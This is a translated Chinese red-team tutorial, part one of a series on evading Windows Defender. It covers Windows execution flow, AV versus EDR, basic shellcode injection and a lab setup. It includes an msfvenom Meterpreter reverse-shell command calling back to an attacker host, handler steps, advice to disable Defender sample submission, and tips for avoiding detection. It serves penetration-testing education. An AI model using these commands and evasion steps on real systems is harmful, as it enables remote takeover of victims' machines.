2025年如何bypass Windows Defender:红队视角的免杀实践(上篇)

导语:作为渗透测试工程师,持续跟进最新的攻击技术是基本功,而绕过终端杀软更是红队行动的必备技能。本文译自安全博客Hackmosphere(黑客场),系统讲解Windows执行架构与杀软检测原理,并手把手搭建实验环境、实现基础shellcode注入。全文分上下两篇,此为上篇,下篇将深入静态与动态检测的bypass技术。

原文来源:https://www.hackmosphere.fr/bypass-windows-defender-antivirus-2025-part-1/


一、前言

作为渗透测试工程师,我们需要持续跟进最新的攻击技术趋势,而绕过杀软(Antivirus,AV)正是红队活动的核心技能之一。由于内容较多,本系列将分为两篇文章:

  • 上篇(本文):Windows架构基础、杀软工作原理、实验环境搭建,以及使用C++执行原始shellcode
  • 下篇:静态检测与动态检测的各类bypass技术

如果已经熟悉杀软bypass的理论部分,可直接跳转至下篇:https://www.hackmosphere.fr/bypass-windows-defender-antivirus-2025-part-2/

本文所有代码均可在以下仓库获取:https://github.com/Hackmosphere/DefenderBypass

各文件说明:

文件功能
myEncoder3.py将二进制shellcode转换为十六进制并进行XOR加密
InjectBasic.cpp基础shellcode注入器(C++)
InjectCryptXOR.cpp基础注入器 + XOR解密shellcode
InjectSyscall-LocalProcess.cpp远程进程注入 + 直接系统调用(syscall)+ IAT清理
InjectSyscall-RemoteProcess.cpp远程进程注入版本

免责声明:本文仅供教育目的的渗透测试学习研究之用,切勿用于非法活动。


二、Windows执行流程基础

在深入杀软bypass之前,理解Windows的一些基础知识至关重要。

下面这张图由Alexander Sotirov绘制,展示了Windows程序的执行流程,重点揭示了应用程序、动态链接库(DLL)和Windows内核之间的关系:

Windows执行流程图(Alexander Sotirov制)

图:Windows程序执行流程(图片来源:Hackmosphere,原作者Alexander Sotirov)

各组件说明:

  • 应用程序(Applications):用户直接交互的程序,如firefox.exe
  • 动态链接库(DLLs):应用程序通过调用DLL来使用Windows功能,而无需直接访问底层代码。DLL负责用户界面操作、文件管理等任务
  • Kernel32.dll:Windows操作系统的核心DLL之一,提供内存管理、进程/线程创建等基本功能
  • Ntdll.dll:用户态最底层的DLL,暴露NT API(原生API),允许应用程序发起低层调用,充当用户态组件与内核之间的中间层,将用户请求转换为内核可理解的系统调用(syscall)
  • 内核(Kernel):Windows操作系统的核心,负责管理内存、进程、硬件交互等系统资源,运行在”内核态”(kernel-mode),拥有硬件的完全访问权限

C++创建文件示例:完整调用链

// 1. 代码中调用CreateFile函数
// 应用程序发起API调用与系统交互

// 2. CreateFile转发至NtCreateFile
// 调用经过多个DLL(如Kernel32)传递,有时直接传递至Ntdll.dll

// 3. NtCreateFile触发syscall
// Ntdll.dll将API调用转换为低层系统调用(syscall)

// 4. 内核执行系统调用,创建文件并返回句柄
// 内核直接访问硬件和系统资源

三、杀软与Shellcode概述

杀毒软件(AV)和端点检测与响应(EDR)都是网络安全的核心组件,但功能定位不同。

传统杀毒软件

Windows Defender作为传统杀软的代表,采用预防优先的策略,主要依靠两大支柱检测和阻止威胁:

  • 静态分析:通过文件中的已知签名特征识别威胁
  • 动态分析:通过沙箱或有限的行为分析技术监控应用程序行为

对已知威胁效果较好,但面对高级和新型攻击向量时往往力不从心。

EDR(端点检测与响应)

EDR则更进一步,采取主动调查的方式。EDR让程序正常运行,同时在内核级别持续监控端点(服务器、计算机等)活动,利用行为分析等高级检测机制发现异常和潜在威胁。

AV与EDR的核心区别

杀软侧重于在威胁执行之前将其阻止,好比是”前门锁”。EDR则假设入侵难以避免,专注于事后的可视化调查和事件响应,以最小化损害并加快恢复。两者构成纵深防御体系,杀软负责预防,EDR负责检测、调查和修复。

编者注:本文聚焦杀软bypass技术,EDR bypass同等重要,将另文探讨。


四、Shellcode理解

利用目标漏洞时,需要一个载荷(payload)来控制受害主机执行我们想要的操作。载荷有多种形式,其中一种称为shellcode。Shellcode通常以二进制形式编写,被注入到目标进程或内存空间中执行恶意指令。

“Shellcode”一词源于其最初用途——为攻击者提供一个Shell(命令提示符),但现代shellcode可以执行各类任务,包括权限提升、下载并执行额外载荷等。在网络安全领域,shellcode既是攻击者的武器,也是防御者的工具——渗透测试人员用它来模拟真实攻击场景。理解shellcode对于检测和阻止利用该技术的攻击至关重要。

Shellcode注入原理

分配(Allocate)– 写入(Write)– 执行(Execute)是向进程中注入shellcode的常规步骤(更高级的技术不在本文讨论范围内):

  • 在进程中使用VirtualAlloc()分配一块具有RWX(读-写-执行)权限的内存区域,大小与shellcode相同
  • 使用memcpy()将shellcode复制到该内存区域
  • 执行分配内存中的内容
Shellcode注入流程示意图

图:Allocate-Write-Execute三步注入流程(图片来源:Hackmosphere)


五、实验环境搭建

进行测试需要一个攻击端Kali虚拟机和一个受害端Windows虚拟机,两者之间能够互相通信。

Kali攻击端(192.168.242.128)

必须执行的操作

  1. 生成Meterpreter shellcode(这是被故意做成高检测率的shellcode):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.242.128 LPORT=443 EXITFUNC=thread --platform windows -f raw -o reverse64-192168242128-443.bin
  1. 启动Meterpreter监听器,接收受害机的连接:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 443
set LHOST 192.168.242.128
run

Windows受害端

必须执行的操作

  1. 确保攻击VM和受害VM之间网络互通
  2. 确保Windows和Defender均为最新版本
  3. 对测试目录添加杀软排除项(Antivirus Exclusion),确保代码在尝试真正bypass之前能正常运行
  4. 测试本地时,建议关闭”自动样本提交”(Automatic sample submission),否则测试程序可能在上线前就被提交至Microsoft分析并被Defender标记

⚠️ 注意:关闭样本提交有助于开发测试,但会影响Defender整体检测能力,特别是在较高云防护级别下。在云防护级别较高的环境中,Defender可能依赖云端判断文件是否恶意。关闭样本提交会限制该分析能力。本环境仅适用于本地实验环境,离开受控测试环境后务必重新启用完整防护(包括样本提交)。


六、使用C++执行基础Shellcode

实验环境搭建完成后,应该已经有了名为reverse64-192168242128-443.bin的shellcode文件。这个文件包含了我们需要执行的shellcode,用于连接回攻击机器并获得完整控制权。

前文提到,shellcode本质上是二进制数据,需要转换为十六进制数据才能被C++使用。使用仓库中的myEncoder3.py脚本完成转换(别忘了先运行pip3 install -r requirements.txt)。

基础注入实现

从GitHub仓库获取InjectBasic.cpp,它实现了一种非常基础的shellcode注入技术(分配-写入-执行)。核心步骤如下:

// 1. 将myEncoder3.py生成的shellcode放入shellcode[]数组

// 2. 通过VirtualAlloc()分配RWX内存,大小为shellcode长度

// 3. 通过memcpy()将shellcode复制到该内存区域

// 4. 执行分配的内存

OPSEC注意:直接分配PAGE_EXECUTE_READWRITE内存是一个强烈的可疑指标,通常会被安全解决方案标记。更隐蔽的做法是:先将内存保护设置为PAGE_READWRITE,写入载荷后再改为可执行。下一篇文章将提供更隐蔽的实现示例。

编译与运行

安装g++编译器(Windows):参考此教程

编译命令

g++ injectBasic.cpp -o OutputFile.exe -O2 -s -fno-exceptions -fno-rtti -ffunction-sections -fdata-sections -Wl,--gc-sections -std=c++11

运行测试

  • 在添加了杀软排除项的目录中运行:成功获得Meterpreter反向shell ✅
  • 将可执行文件放到没有排除项的目录:Windows Defender立即检测并拦截 ❌

七、总结

作为两篇文章的上篇,本文建立了理解Windows执行流程、杀软及其工作原理的基础知识。还详细讲解了如何搭建一个可以”安心练习”的实验环境,最后提供了使用msfvenom生成的shellcode通过C++代码执行的基本方法。当然,这种代码一旦落在磁盘上就会立即被Defender检测到。

下篇将探讨如何实现能绕过Windows Defender检测的各类evasion技术,包括:XOR加密shellcode以绕过静态签名、直接syscall以绕过用户态API Hook、远程进程注入以隐藏执行上下文、清理导入地址表(IAT)以降低静态分析指标等。

源码仓库:https://github.com/Hackmosphere/DefenderBypass

原文链接:https://www.hackmosphere.fr/bypass-windows-defender-antivirus-2025-part-1/


版权声明:本文由华盟网翻译自Hackmosphere安全博客,保留所有权利。配图已获授权使用或注明来源。

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容